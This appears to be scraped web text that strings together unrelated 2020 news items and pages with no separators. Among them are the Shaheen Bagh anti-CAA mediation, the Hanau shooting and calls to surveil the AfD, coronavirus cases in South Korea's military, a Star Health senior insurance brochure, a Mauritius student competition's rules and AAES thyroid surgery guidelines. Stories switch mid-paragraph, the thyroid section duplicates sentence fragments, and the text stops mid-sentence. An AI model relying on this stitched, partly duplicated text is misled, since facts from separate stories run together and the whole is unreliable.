Pulse Pharmaceuticals. The foundation stone for this park was laid down in 2017,at Sangareddy district. "Within a span of 2 years, over 20 companies are expected to set up their manufacturing units and R&D centres in the Medical Devices Park", said Rama Rao. Fictional mafia character Michael Corleone said, Dont ever again take sides with anyone against the family again. Ever. There was a price to pay for anyone that did. Now comes President Donald Trump who has the attitude of not ever taking sides against him or his family or anything he says or does or a person will pay the price. Trump hasnt gone to the mafia extent of death, though he did say he could shoot a person on Fifth Avenue and no one would do anything. I dont doubt it. I fear for the future of our country. America has always been the good guy who stands up for the bad guy. America has always been there to help those who needed help. Problem is, when America needs help who will be here to help America? It appears that America will not stand up to this bad guy. Jim Tuttle, Chandler Letters to the editor are encouraged. Send letters to letters@tulsaworld.com. Yervand Manaryan remained the way he was throughout his life. This is what Director of the Tumanyan State Puppet Theater of Armenian Ruben Babayan told reporters during the Requiem Service for Peoples Artist of the Republic of Armenia, actor Yervand Manaryan taking place at St. Hovhannes Church in Yerevan today. Yervand Manaryan was a person who would make us feel happy. We are all very happy that we were Yervand Manaryans contemporaries, he said and stated that he would do his job without expecting any reward. Among the attendees of the Requiem Service were Prime Minister of Armenia Nikol Pashinyan and Mrs. Anna Hakobyan, Mayor of Yerevan Hayk Marutyan, MPs and government officials, intellectuals, cultural figures and fans of the peoples artist. Manaryan died on February 20. He was 95 years old. The Supreme Court-appointed interlocutors reached Shaheen Bagh on Friday for talks with the protesters of the Citizenship Amendment Act (CAA) for the third consecutive day. The mediators--Sanjay Hegde and Sadhana Ramachandran--held the talks not from the stage but from within the women protesting. However, the talks did not bring any fruitful results or changes in the ongoing situation. Differences have reportedly appeared among the Shaheen Bagh protesters over talks with the interlocutors as one faction is pressing for separate talks with the officials. This comes a day after the interlocutors told the Shaheen Bagh protestors that the terms and conditions of the talks will be decided by them. The interlocutors demanded the Shaheen Bagh protestors to open the second road but the agitators questioned them of their security. Meanwhile, the police officers said that if the road on the other side is opened then they are ready to take the responsibility of their security. This was one of the conditions for initiating the dialogue with the anti-CAA protestors of Delhis Shaheen Bagh. However, ahead of the interlocutors` meeting on Friday, the women protesters sat on a dharna and made it clear that the condition set by the interlocutors for talks is not acceptable to them. One of the protestors, Mehrunisa, when asked about interlocutors suggesting women can meet them in a group of 20, said that there would be no talks in groups as suggested by Ramchandran. "There would be distrust among the rest who did not meet them in that particular group. Whatever they have to say, they should say it before all of us," Mehrunisa stated. Another protester Shakila Begum too became agitated when she was suggested to meet interlocutors in groups. "There would be no talks in groups. We are here with others. And we want everyone to listen to what others have to say, " Shakila said. Sadhana Ramachandran, one of the SC-appointed interlocutors, had on Thursday regretted that the panel tried to maintain peace and talk but that didn't happen. She announced that the mediators will not go to Shaheen Bagh on Friday but 10 women representing the protesters will meet separately in a different place for holding talks.. "We tried to maintain peace but it is not happening. We will not come here tomorrow. Our sisters here should find a place where talks can be held. A few of the women can come to hold talks but others will have to stay outside," Ramachandran said. On this, the protesters said that the talks will take place only in Shaheen Bagh and the road will open when the announcement will be made to withdraw Citizenship Amendment Act (CAA), National Register of Citizens (NRC) and National Population Register (NPR). On the matter of opening the road, the protesters have taken the negotiators to show them the alternative routes which have been closed by the police. The SC-appointed panel visited Shaheen Bagh on February 19-20 to hold talks with anti-CAA protesters to persuade them to shift their agitation to an alternate venue but failed to break the deadlock. In a related development, the road connecting Faridabad to Noida, which was blocked for the last 69 days due to the ongoing protests at Shaheen Bagh was re-opened briefly on Friday morning. However, it was closed again. Protests have been going on at Shaheen Bagh since December 15 last year against the Citizenship Amendment Act (CAA) due to which Kalindi Kunj road has been shut for traffic movement. The amended law grants citizenship to Hindus, Sikhs, Jains, Parsis, Buddhists and Christians fleeing religious persecution from Pakistan, Afghanistan, and Bangladesh and who came to India on or before December 31, 2014. Germany's far-right AfD should be put under surveillance after nine people were killed in an extremist gun rampage, a senior politician has said. Lars Klingbeil said 'one person carried out the shooting in Hanau, but there were many that supplied him with [rhetorical] ammunition, and the AfD definitely belongs to them.' Mr Klingbeil, the general secretary of Germany's Social Democratic Party (SPD), said the anti-immigrant party should be 'placed under surveillance' by security services. Neo-Nazi gunman Tobias Rathjen killed nine people of 'migrant background' in two shisha bars on Wednesday night after posting an extremist manifesto online. It follows an anti-Semitic gun rampage in Halle last October and a string of election successes for the AfD, sparking fear of a resurgent far right in a country still haunted by its Nazi past. SPD general secretary Lars Klingbeil (pictured right at a Berlin vigil yesterday) has called for the far-right AfD to be placed under surveillance following the gun rampage Armed police in Hanau on Wednesday night after a far-right gunman opened fire Interior minister Horst Seehofer said after Wednesday's attack that right-wing extremism was the 'biggest security threat facing Germany'. 'The threat posed by far-right extremism, anti-Semitism and racism is very high in Germany,' he told reporters in Berlin. Mr Seehofer said there would be more surveillance at 'sensitive sites', including mosques, and a high police presence at railway stations, airports and borders. Increasing numbers of guns are being seized from radical-right suspects, mounting to 1,091 in 2018 compared with 676 the previous year. Protesters who gathered at Berlin's Brandenburg Gate last night held up signs calling on the government to 'disarm fascists'. Nine people of a 'migrant background' were killed in Wednesday's gun attacks in a Frankfurt suburb, although some were German citizens. Parts of the AfD, or Alternative for Germany, were already under close scrutiny from Germany's domestic intelligence agency. The party has rejected all responsibility for far-right attacks, including the Halle shootings last October. The AfD enjoyed a surge in support after Angela Merkel opened Germany's doors to more than a million refugees at the height of the European migrant crisis in 2015. Tobias Rathjen (pictured) opened fire at two locations in the German city of Hanau, killing nine people and leaving six others injured before shooting dead his mother and then himself The party says Islam is incompatible with the German constitution and wants to repatriate the Syrian refugees who arrived that year. AfD leaders have also called for a '180-degree turn' in Germany's atonement for Nazi crimes and played down the Nazi period as a 'speck of bird s**t' in German history. In 2017, the AfD entered the German parliament for the first time after clearing the five per cent threshold required to win seats. This year the AfD has come second in three state elections, all of them in the former East Germany where the far right is strongest and traditional parties weakest. The Halle attack took place in what used to be the East, although Wednesday's attack in Hanau was in the former West. Earlier this month, a newly-elected state premier in Thuringia was forced to step down within 24 hours after he was helped to victory by AfD votes. The liberal politician had not sought the AfD's support, but the result broke a taboo against any kind of alignment with the far right. Angela Merkel rebuked her own party colleagues for voting with the AfD, while her former heir apparent Annegret Kramp-Karrenbauer resigned in the wake of the row. Separately, 12 men were arrested across Germany a week ago on suspicion of planning attacks on mosques aimed at bringing about 'a civil-war-like situation'. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. 2 of 11 Michael Bloomberg, above, joined his Democratic presidential rivals for the first time on the debate stage, after the Democratic National Committee dropped one of the requirements to qualify. Which rule was it? A South Korean soldier (R) wearing a face mask looks at train departure timetable at a railway station in the southeastern city of Daegu, South Korea, on Feb. 21, 2020. (JUNG YEON-JE/AFP via Getty Images) Coronavirus Spreads to South Koreas Military Personnel In South Korea, the spread of the novel coronavirus has spread to military personnel as local health authorities report another 52 new cases on Feb. 21. Three military service members, one each in the Korean Army, Navy, and the Air Force, have tested positive for the virus, local outlet Yonhap News Agency reported on Friday, citing the Korean Centers for Disease Control and Prevention (KCDC). The members of the military were among the 52 new cases reported, bringing the national total to 156. All three service members had visited or contacted people from the South Korean city of Daegu, located about 186 miles southeast of Seoul. One infected service member is a 22-year-old Navy sailor based in South Koreas Jeju Island. He visited his hometown Daegu from Feb. 13 to 18 and began having a cough after returning to Jeju. He is now being monitored at a local hospital. The second case involves an Army officer in Jeungpyeong, a county in North Chungcheong Province. The officer had recently met with his girlfriend in Daegu. His friend attended the same church as the countrys 31st confirmed casea 61-year-old Korean woman who tested positive on Feb. 18 and is believed to the the source of infection for about 82 other cases from the church. The third case involves an Air Force soldier based in Gyeryong, a city in South Chungcheong Province. It is not known how he became infected with the virus. Yonhap, citing a preliminary investigation by the military, stated that more than 5,000 military service members had visited Daegu and nearby areas during their recent vacation. Service members who came into contact with the three infected servicemen have been placed under quarantine, according to the countrys health officials. Of the 52 new cases, 41 are in Daegu and neighboring North Gyeongsang Province and three are in Seoul, according to KCDC. Authorities have confirmed that 39 cases are connected to the super-spreader at the church. Of South Koreas 156 confirmed cases, 111 are in Daegu and North Gyeongsang Province. There are also 16 cases, including five nurses, at Daenam Hospital in Cheongo near Daegu. It was at this hospital that South Korea reported its first death from the virusa 63-year-old man who was suffering from pneumonia. He died on Wednesday and tested positive for the virus after his death. On Friday, Daegu and Cheongdo were declared special management zones by the South Korean Prime Minister Chung Sye-kyun due to a large number of confirmed cases in the two places. The government will take special measures by declaring the Daegu and Cheongdo areas as special care zones as a sudden rise in confirmed cases was reported there, Chung said during a meeting about the coronavirus situation, according to Yonhap. There has been a spike in the number of confirmed cases in South Korea for three consecutive days20 on Wednesday and 53 on Thursday. On Thursday, U.S. Forces Korea issued a statement saying that there are zero confirmed cases of the virus among the U.S. personnel in South Korea. All U.S. service members have been told they can travel to and from Daegu and nearby areas for mission-essential purposes only. Special authorization is needed for non-essential travel. The statement lists several areas in Daegu that are off-limits to U.S. service members, including the church, Daegu Medical Center, Searonan Hospital, and the Queenvell Hotel. Former Celebrity Big Brother star Shilpa Shetty and husband Raj Kundra have welcomed their second child, a baby girl, via surrogate. The couple announced their baby joy via Instagram, with Shilpa, 44, telling fans that the newborn has 'completed our family'. She shared the first picture of her daughter to social media and revealed the baby's name, Samisha Shetty Kundra, who arrived on 15 February. Baby joy! Celebrity Big Brother star Shilpa Shetty and husband Raj Kundra have welcomed their second child, a daughter, via surrogate and confirmed her arrival on Instagram In the heartwarming snap, Shilpa kept her baby daughter's face from view and instead captured her clutching onto her mum's finger while wearing a sweet bunny rabbit babygrow. Shilpa captioned the photo with a lengthy message that read: 'Om Shri Ganeshaya Namah. Our prayers have been answered with a miracle... 'With gratitude in our hearts, we are thrilled to announce the arrival of our little Angel, Samisha Shetty Kundra. Born: February 15, 2020 Junior SSK in the house. The Bollywood actress then went onto explain the meaning behind her daughter's name, adding: '"Sa" in Sanskrit is to have, and "Misha" in Russian stands for someone like God. You personify this name - our Goddess Laxmi, and complete our family. 'Our little angel': The Bollywood actress, 44, shared the first picture of daughter Samisha to her Instagram page and gushed the newborn has 'completed' her family 'Please bestow our angel with all your love and blessings. Ecstatic parents: Raj and Shilpa Shetty Kundra. Overjoyed brother: Viaan-Raj Kundra #SamishaShettyKundra #gratitude #blessed #MahaShivratri #daughter #family #love.' Shilpa and husband Raj married in 2009. The are also parents to son Viaan Raj who was born in May 2012, three years after the couple tied the knot. She gave birth to Viaan when she was 37 years old and previously said she hadn't planned to become a mother in her late thirties. 'I never chose to be a mother at 37. I always wanted to be a mother at the right age, but I didnt find Raj at the right time. There is a time for everything, and so also for motherhood,' Shilpa said in a previous interview, reports The Hindustan Times. 'Medically too, women should have babies at the right time. I just didnt have a choice else I would have been a mother long time back.' Scandal: Back in 2007, Shilpa shot to fame on the fifth series of Celebrity Big Brother and became embroiled in a race row with Jade Goody (pictured above) Back in 2007, Shilpa shot to fame on the fifth series of Celebrity Big Brother and became embroiled in a race row with Jade Goody, Danielle Lloyd and S Club 7 star Jo O'Meara. Jade had entered the house with her mother Jackiey Budden and boyfriend Jack Tweed. Jackiey clashed with Shilpa in the house and claimed she was 'unable to pronounce' her name. Following Jackiey's eviction, Shilpa was subjected to racist remarks and verbal abuse from the other housemates, with Jade referring to Shilpa as 'Shilpa Poppadom' and sparking outrage among viewers. Jade later apologised for her actions, but was forced to go without a studio audience in attendance when she was evicted, due to the number of complaints the reality show had received. Tough times: Shilpa was subjected to racist remarks and verbal abuse from Jade and the other housemates, but went onto win Celebrity Big Brother's fifth series Shilpa went on to win the series and said to host Davina McCall in her winner's interview: 'People make mistakes and we all learn from them. But I can say one thing for sure, Jade didn't mean to be racist. She isn't a racist.' Jade later made an appearance on India's version of Big Brother, Big Boss, in 2008, which was where she learned of her cervical cancer diagnosis. It's believed Jade and Shilpa made peace with one another before Jade died in March 2009, aged 27. Channel 4 aired a documentary last year, titled Jade: The Reality Star Who Changed Britain, which revisited her Celebrity Big Brother appearance with Shilpa. In the documentary, Jade's mum Jackiey revealed that the reality star thought her cancer diagnosis was a punishment for her actions on CBB. Jade is survived by her two sons, Bobby, 16, and Freddie, 15, whom she shares with Jeff Brazier. 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United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe The Star Health's 'Red Carpet Health Insurance Policy' aims particularly at senior citizens. It provides coverage to anyone over the age of 60 and permits entry right up to the age of 75 with continuing cover thereafter till lifetime. The coverage ranges from Rs 1 lakh to Rs 10 lakhs for cerebrovascular accident, cardiovascular disease, cancer, bone fractures, kidney diseases and all other major surgeries. Premium charges vary from Rs.4,450 to Rs.22,500 depending on sum assured chosen. Major Product Features: Entry age between 60 and 75 years Guaranteed renewals beyond 75 years No pre-insurance medical test required Treatment at network hospitals only All preexisting diseases are covered from first year, except those for which treatment or device was recommended by or received during the immediately preceding 12 months from the data of proposal. Disease for which treatment or advice was recommended by or received during the immediately preceding 12 months form the date of proposal will be covered from second years onwards Note: Please refer to the policy documents for the complete Insurance Policy subject to the insurance Company. This information is valid for 2015 2016. Policy Benefits The policy protects the insured for in patient hospitalization expenses for a minimum of 24 hrs. These expenses include room rent, specialist fees, cost of medicines and boarding up to 1% of the sum insured subject a maximum of Rs 4000/-per day. ICU expenses per day up to 2% of the sum insured Nursing Expenses Surgeon's fees, consultant's fee, Anesthetist's and Specialist's fees up to 25% of sum insured per hospitalization. Cost of blood, oxygen, pacemaker, drugs and diagnostic tests up to 50% of the sum insured per hospitalization Emergency ambulance charges for transporting the insured patient to the hospital up to a sum of Rs 600 per hospitalization and overall limit of Rs 1,200 per policy period Out-patient consultation in network hospitals across India Copayment benefits of 50% for each claim related to pre-existing diseases and 30% for all other claims Pre-existing diseases will be covered after one year of continuous coverage Treatment for cardiovascular disease, cerebrovasculasr accident, cancer and bone fracture are covered subject to the following limits: Sl. No. Disease Sum Insured Rs. Limit of Company's Liability 1. Cerebrovascular Accident 1,00,000 75,000 2,00,000 1,50,000 3,00,000 1,60,000 4,00,000 1,70,000 5,00,000 1,80,000 2. Cardiovascular Disease 1,00,000 75,000 2,00,000 1,50,000 3,00,000 1,60,000 4,00,000 1,70,000 5,00,000 1,80,000 3. Cancer 1,00,000 75,000 2,00,000 1,50,000 4,00,000 1,70,000 5,00,000 1,80,000 4. Bone Fracture 1,00,000 75,000 2,00,000 1,50,000 3,00,000 1,60,000 4,00,000 1,70,000 5,00,000 1,80,000 5. Renal Complications 1,00,000 75,000 2,00,000 1,50,000 3,00,000 1,60,000 4,00,000 1,70,000 5,00,000 1,80,000 6. All other major surgeries 1,00,000 60,000 2,00,000 1,20,000 3,00,000 1,30,000 4,00,000 1,40,000 5,00,000 1,50,000 Tax Benefit Amount paid by any mode other than by cash for this insurance is eligible for relief under Section 80D of the Income Tax Act. Free Look Period A free look period of 15 days from the date of receipt of the policy is available for reviewing the policy terms and conditions. In case insured is not satisfied he can seek cancellation of the policy and in such event the company will allow a refund of the premium after adjusting the cost of pre-acceptance of medical screening, stamp duty charges and proportionate risk premium for the period concerned provided no claim has been made until such cancellation. However, free look cancellation is not applicable at the time of renewal. Note: Please refer to the policy documents for the complete Insurance Policy subject to the insurance Company. This information is valid for 2015 2016. Premium Rates (Service Tax Extra) The premium to be paid on Star Health and Allied Insurances Senior Citizen Red Carpet policy is listed below: Sum Insured (Rs.) Premium 1,00,000 4,450 2,00,000 8,456 3,00,000 12,990 4,00,000 15,501 5,00,000 18,000 7,500,00 21,000 1,000,000 22,500 A discount of 10% of the above premium will be allowed if the proposer produces the following documents to the satisfaction of the company: a) Stress Thallium Report* b) BP Report* c) Sugar (blood & urine)* d) Blood Urea & Creatinine* e) Self-declaration or Certification that surgeries related to Heart/Brain/Cancer has/have not been done in the past. * The tests should have been taken not before 45 days from the date of the proposal. Note: Please refer to the policy documents for the complete Insurance Policy subject to the insurance Company. This information is valid for 2015 2016. Terms & Conditions for Claims Remember to pay premiums always on time, the terms of the policy are quite stringent. If you miss a premium, no reminders may be sent. 1. Every notice or communication to be given or made under this policy shall be delivered in writing to the address as shown on the schedule. 2. The premium payable under this policy shall be payable in advance. No receipt of premium shall be valid except on the official form of the company signed by a duly authorized official of the company. The due payment of premium and the observance of fulfillment of the terms, provision, conditions and endorsements of this policy by the Insured Person, in so far as they relate to anything to be done or complied with by the Insured Person, shall be a condition precedent to any liability of the Company to make any payment under this policy. No waiver of any terms, provisions, conditions, and endorsements of this policy shall be valid unless made in writing and signed by an authorized official of the Company. 3. Upon the happening of any event, which may give rise to a claim under this policy, notice with full particulars shall be sent to the Company within 24 hours from the date of Death, Injury, Hospitalization. 4. The claim must be filed with 15 days from the date of discharge from the Hospital. Note: This is a condition precedent to the admission of liability under the policy. 5. The Insured Person shall obtain and furnish the Company with all original bills, receipts and other documents upon which a claim is based and shall also give the Company such additional information and assistance as the Company may require in dealing with the claim. 6. All claims under this policy shall be payable in Indian currency. All medical/surgical treatments under this policy shall have to be taken in India. Note: Please refer to the policy documents for the complete Insurance Policy subject to the insurance Company. This information is valid for 2015 2016. Renewal and Claim Procedure Lifelong renewal of the policy offered, except on grounds such as moral hazard, misrepresentation or fraud committed A grace period of 30 days from the date of expiry of the policy is available for renewal Enhancement of sum insured is permitted only during renewal In respect of diseases/sickness for which claims have been made, the sum insured will be restricted to that policy sum insured where the claims were made In the event of this policy being withdrawn or modified with revised terms and premium with the prior approval of the competent authority, the insured will be intimated three months in advance and accommodated in any other equivalent health insurance policy offered by the company, if requested for by the insured person at the relevant point of time Renewal premium is subject to change with prior approval from IRDI Procedure Union Minister of State for Shipping Mansukh Mandaviya on Friday inaugurated the country's first floating jetty here and an immigration facility at a cruise terminal in Vasco. The jetty is located in the state port department's premises on the banks of Mandovi river. Goa Chief Minister Pramod Sawant, Union AYUSH minister Shripad Naik and Rajya Sabha MP Vinay Tendulkar were present on the occasion. "This floating jetty is the first such facility in the country. It is made of cement concrete. It will boost inland waterways. They are environment friendly and can be built in a short time. Three more will be built in Goa," Mandaviya said. The Union minister said the immigration counter at the cruise terminal in Mormugao Port will help foreign nationals who arrive on cruise ships. The state receives 45 international cruises annually in addition to domestic cruise boats. He said the Sawant government has demanded that the cruise terminal be expanded and the Centre was scouting for additional land for this. The state will also get a ropeway connecting two tourist places, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Vietnam Railways (VR) said that its revenue dropped by nearly VND65 billion (US$2.8 million) in the past 19 days compared to the same period last year due to the novel coronavirus outbreak. A train of Ha Noi Railway Transport Company leaves Ha Noi Train Station. Specifically, 39,263 tickets were returned for refunds. Due to the reduction in passengers, railway transport joint stock companies had to cancel 78 passenger trains, 8.3 per cent lower than planned. Passenger transport revenue is expected to fall by VND54.8 billion, decreasing 13.3 per cent over the same period last year. Cargo transport revenue is expected to decrease by VND9.9 billion. In order to minimise damage, VR is implementing policies to reduce fares on North-South trains, and promotion programmes for groups and tourism companies with early booking, long distance or large number of passengers. However, the promotion of rail fares was not attractive enough to passengers, partly because of the continuing epidemic, partly because fares of other means such as aviation and road were also discounted, said VR. VNS Gov't considers giving Vietnam Railways back to transport ministry Prime Minister Nguyen Xuan Phuc has ordered an analysis on a proposal to move Vietnam Railways (VR) under the umbrella of the transport ministry following legal confusion that left the corporation with no budget for railway maintenance. Health is a Nations most valuable wealth. How to adopt a holistic approach towards healthcare and wellbeing in Mauritius over the next decade to effectively tackle the high prevalence of diabetes and its associated chronic complications so as to reduce its socio-economic impacts on the country? Call for Entries 1. The inter-college project competition is organised by Omnicane Foundation in collaboration with the Ministry of Education, Tertiary Education, Science and Technology. 2. Teams participating in the competition are expected to produce a PowerPoint presentation to support a 15-minute oral presentation on the abovementioned theme and be prepared to make the oral presentation, should the team be shortlisted to do so by the Jury. 3. The competition is open to all registered colleges of the Republic of Mauritius but limited to pupils of Grade 11 (ex-Form V) and Grades 12 & 13 (ex-Lower and Upper VI) (or equivalent). 4. Each project shall be prepared by a team of FIVE students, one of whom shall be the Team Leader. Teams composed of more than, or less than, FIVE members will not be allowed to participate. 5. Projects should reflect the combined and joint effort of all five members of the respective teams. A college may enter more than one team but shall not enter more than FOUR (4) teams. 6. No student shall be allowed to be a member of more than one team. 7. With the objective of promoting a paperless competition, all projects shall be exclusively submitted online. 8. Each team shall submit the following five (5) files to be prepared in English: a. A 15-minutes-long presentation on the theme of the competition in Microsoft PowerPoint format. (Maximum size: 8 MB) b. A copy of the PowerPoint presentation in PDF format. (Maximum size: 1 MB) c. An abstract, in pdf format, of the teams key findings, proposals and recommendations. The abstract should be between 750 and 1 000 words in length. (Maximum size: 1 MB) d. A WORK DIARY, in pdf format. The Work Diary shall describe the work strategy of the team and list all visits and interviews with dates in chronological order together with an indication of what was gained therefrom. Any support or facilitation provided by a member of the college staff with regard to interviews and visits shall be mentioned in the Work Diary. (Maximum size: 1 MB) e. A cover letter, in pdf format, signed by the Rector/Principal to endorse the project. (Maximum size: 1 MB) 9. Indications concerning the PowerPoint slide show: There shall be a minimum of 20 slides and a maximum of 30 slides, inclusive of the opening slide as well as of those used for photographs, graphics, videos, etc.; The opening slide shall include the Project Title, the College name and the names of the five participants, the name of the Project Leader being first on the list; The slides shall be properly numbered; and The font-size of texts on slides shall be at least 24 points. 10. The PowerPoint slide show may include a MAXIMUM of TWO (2) videos. Each video shall not be longer than THIRTY (30) seconds. Students are advised not to embed the videos in their PowerPoint slide show in order not to increase the size of the PPT file beyond the limits specified in 8a. above. Instead, videos may be uploaded on YouTube as hidden files, so that they may not be accessed publicly, and appropriate links included on the PPT slides. 11. On the basis of the projects entered by the participants, the jury will decide which teams should be invited to make an oral presentation of their project on the theme of the competition while using Microsoft PowerPoint facilities. 12. Each short-listed team will be invited to make an oral presentation of its project in the presence of the jury. 13. The results of the project competition will be announced during the prize-giving ceremony, to be organised during the month of September 2020. 14. The winning team will be expected to make the oral presentation of their project at the end of the prize-giving ceremony. 15. Marks will be allotted on the following basis to short-list the best teams: a. Scope and methodology of research work involved (based on work diary and contents of Abstract and PowerPoint slide show) 25 b. PowerPoint slides (restitution of main ideas, organisation of sections, and visual characteristics of graphs and illustrations) 25 c. Understanding of issues posed, project approach and informative & practical value of comments and proposals (based on quality of contents, flow of ideas and innovative features) 50 16. The short-listed teams will be marked for their oral presentation. Marks will be attributed for:- a. Presentation and communication skills, including presence and articulation; b. Visual support, including content of slides and their relevance; c. Key findings; d. Proposals and recommendations. 17. The decision of the jury shall be final and shall not be contested and/or changed. 18. Participants are allowed to interview people and to collect information for the preparation of their project, but they should not in any way be helped in its planning, drafting and presentation. They will lose marks, or be disqualified, if, in the opinion of the jury, they have received undue assistance from their teachers or from outsiders. 19. The Jury will be composed of: 1. Mr Pierre Dinan (Chairperson) Company Director for a number of public companies in the manufacturing and financial services sectors. He has been a Senior Partner at De Chazal du Mee (DCDM) for 20 years until he retired in June 2004. He was also a Director of Multiconsult, a global business management services company, for 12 years until 2004. He was the founder Chairman of the Mauritius Institute of Directors. He has served, for several years, as an independent member of the Monetary Policy Committee set up under the Bank of Mauritius Act. Mr Dinan holds a BSc in Economics and is a Fellow of the Institute of Chartered Accountants in England and Wales. He has published three books on the economy of Mauritius, and he is a regular contributor to the local press on economic and financial issues. 2. Mr Ashok Kalleechurn, M.S.K. Medical consultant of Omnicane. He is the Team Leader of Posititive Attitude to Total Health, a Non-governmental Organisation. He leads a team of 70 Medical and Para- Medical Professionals doing medical screening around the island. He is also a lecturer on Diabetes and its Complications and provides stress management courses. He is the Health Consultant/Coordinator in the Project Fighting Diabetes at Workplace currently being undertaken at Omnicane. He has been decorated by the Government of Mauritius in 2015 as M.S.K for Social Services in the Medical Field. He has been the Public Relations Officer of the Mauritius Heart Foundation from 1979 to 1999. 3. Dr Aveeraj Peedoly Research Coordinator at the Mauritius Research and Innovation Council (MRIC). He is sociologist by training. He heads the Centre for Applied Social Research and is also responsible for the Social Innovation Programme of the Council. Former laureate and Commonwealth Doctoral Scholar, he has acquired a wide experience of undertaking Government-commissioned social research studies and social research consultancy work on national social issues. He also manages a wide portfolio of social innovation and research grant projects funded by the Council. He is a member of the Mahatma Gandhi Institute / Rabindranath Tagore Institute Council and also represents the MRIC on a number of national platforms and advisory committees. Prizes offered by Omnicane Foundation will be as follows:- First prize: . To the college winning the competition: The Omnicane Challenge Trophy. . To the pupils forming part of the winning team: A total cash prize of Rs 100 000 (i.e. Rs 20 000 to each member of the team). Second prize: . A total cash prize of Rs 40 000 (i.e. Rs 8 000 to each pupil forming part of the team). Third prize: . A total cash prize of Rs 10 000 (i.e. Rs 2 000 to each pupil forming part of the team). 20. Members of all participating teams will receive a Certificate of Participation. 21. All projects including the endorsement letter (in pdf format) signed by the Rector/Principal shall be submitted online at the following address: www.omnicane.com/2020omnicaneaward Online submission will be open as from Friday 29th May 2020. Participants are advised to submit their projects as early as possible to avoid last minute rush. Closing date: Friday 5th June 2020 The organising committee shall not accept projects submitted after the due submission date. 22. Briefing Sessions: Grade 11 (ex-Form V) and Grades 12 & 13 (ex-Lower and Upper VI) (or equivalent) students interested in participating in this Inter-College Project Competition as well as their teachers are kindly invited to attend a briefing session which will be held on at the Boname Hall, Mauritius Cane Industry Authority (MCIA), Reduit, on Thursday 19th March 2020 at 12.30 p.m. and at 1.15 p.m Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires If the jurors are following the complicated charging sheet correctly, their note indicates that they are at least mulling a guilty verdict on one or more of the charges of rape and criminal sex act. Technically speaking, the jurors could not be deadlocked on the higher charge of predatory sexual assault without having first decided that Mr. Weinstein was guilty of a lower charge, legal experts said. Said a different way, if the jurors had decided to acquit Mr. Weinstein on the charges involving Ms. Mann and Ms. Haley, they would not need to continue deliberating on the charges involving Ms. Sciorra. Though Ms. Sciorras rape allegation is too old to be charged as a separate crime under state law, it can be used to prove the sexual predator charge. If, however, the jurors are confused about the structure of the charges, they could be headed in the completely opposite direction. It is possible that the jurors have reached a unanimous decision to acquit Mr. Weinstein on the lower charges involving Ms. Mann and Ms. Haley, but that some of them are still hoping to convict him on the more serious charges involving Ms. Sciorra. But that is not a viable option. Under this scenario, the note could be read as an appeal by the jurors who understand the charges to have Justice Burke step in and explain the law to those jurors who do not. February 21, 2020 - The first set of comprehensive, evidence-based clinical guidelines for surgical treatment of thyroid disease - developed by an expert panel assembled by the American Association of Endocrine Surgeons (AAES) - was published today by Annals of Surgery. The journal is published in the Lippincott portfolio by Wolters Kluwer. The guidelines provide an expert perspective on current approaches to surgical management for patients with benign and malignant thyroid disease. "To help provide safe, effective, and appropriate care of patients, these AAES-sponsored multidisciplinary clinical guidelines analyze the conduct, indications, and outcomes of adult thyroid surgery guided by a comprehensive evidence-based review of the medical literature," according to the guideline statement. The lead author was Kepal N. Patel, MD, of NYU Langone Health, New York, N.Y. Emphasis on Evidence-Based, Personalized Care for Patients Undergoing Thyroidectomy The guidelines consist of a total of 66 specific recommendations, identified by a search of the medical literature from 1985 to 2018 and review by a multidisciplinary panel of 19 experts in thyroid disorders. Recommendations are graded according to the strength and quality of the supporting evidence; the full guidelines document provides guidance on how to best apply the recommendations to individual patients. The project was coordinated by Sally E. Carty, MD, of University of Pittsburgh School of Medicine and Christopher R. McHenry, MD, of Case Western Reserve University, Cleveland. Thyroidectomy, referring to any type of thyroid surgery, is a common procedure - more than 100,000 thyroidectomies are performed each year in the United States. While thyroidectomy is "typically a definitive and often curative procedure," ongoing advances in diagnosis and management have led to variability and even controversy in the treatment of thyroid disease. While other specialty societies have published recommendations addressing the management of thyroid nodules and thyroid cancer, the new AAES guidelines focus on surgical management of thyroid disease in adults. Specific objectives include: Helping surgical team members understand the epidemiology and pathogenesis of thyroid disease. Thyroidectomy is most frequently performed for thyroid dysfunction, symptomatic benign thyroid nodules, and thyroid cancer, including the newer category of "borderline" thyroid tumors. of thyroid disease. Thyroidectomy is most frequently performed for thyroid dysfunction, symptomatic benign thyroid nodules, and thyroid cancer, including the newer category of "borderline" thyroid tumors. Outlining the diagnosis of thyroid disease, including the clinical findings; imaging, including ultrasound examination; thyroid function tests; voice assessment, reflecting the risk of vocal fold dysfunction related to thyroid disease and surgery; and the use of fine-needle aspiration biopsy, a key test for evaluation of suspicious thyroid nodules and lymph nodes. of thyroid disease, including the clinical findings; imaging, including ultrasound examination; thyroid function tests; voice assessment, reflecting the risk of vocal fold dysfunction related to thyroid disease and surgery; and the use of fine-needle aspiration biopsy, a key test for evaluation of suspicious thyroid nodules and lymph nodes. Defining the indications for thyroidectomy, including recommendations related to the extent and outcomes of surgery for patients with different categories of thyroid disease. One recommendation states that, when possible, thyroidectomy should be performed by surgeons who perform a high volume of such procedures. for thyroidectomy, including recommendations related to the extent and outcomes of surgery for patients with different categories of thyroid disease. One recommendation states that, when possible, thyroidectomy should be performed by surgeons who perform a high volume of such procedures. Detailing methods for safe and effective perioperative management , including steps to prevent complications and the use of thyroid tissue diagnosis during surgery. , including steps to prevent complications and the use of thyroid tissue diagnosis during surgery. Analyzing the optimal management of thyroid cancer - emphasizing a personalized, evidence-based approach tailored to the patient's situation and preferences. On behalf of the AAES, the members of the expert panel hope their efforts will meet the need for evidence-based recommendations to "define practice, personalize care, stratify risk, reduce health care costs, improve outcomes, and identify rational challenges for future efforts." They conclude: "Throughout the writing process, [our] intent was to advise surgeons about the right thing to do for the patient" in need of surgical treatment for thyroid disease. Click here to read "The American Association of Endocrine Surgeons Guidelines for the Definitive Surgical Management of Thyroid Disease in Adults." DOI: 10.1097/SLA.0000000000003580 ### About Annals of Surgery Annals of Surgery, the world's most highly referenced surgery journal, provides the international medical community with information on significant contributions to the advancement of surgical science and practice. Surgeons look to Annals of Surgery first for innovations in practice and technique. Special editorial features include "Advances in Surgical Technique," which provides up-to-the-minute 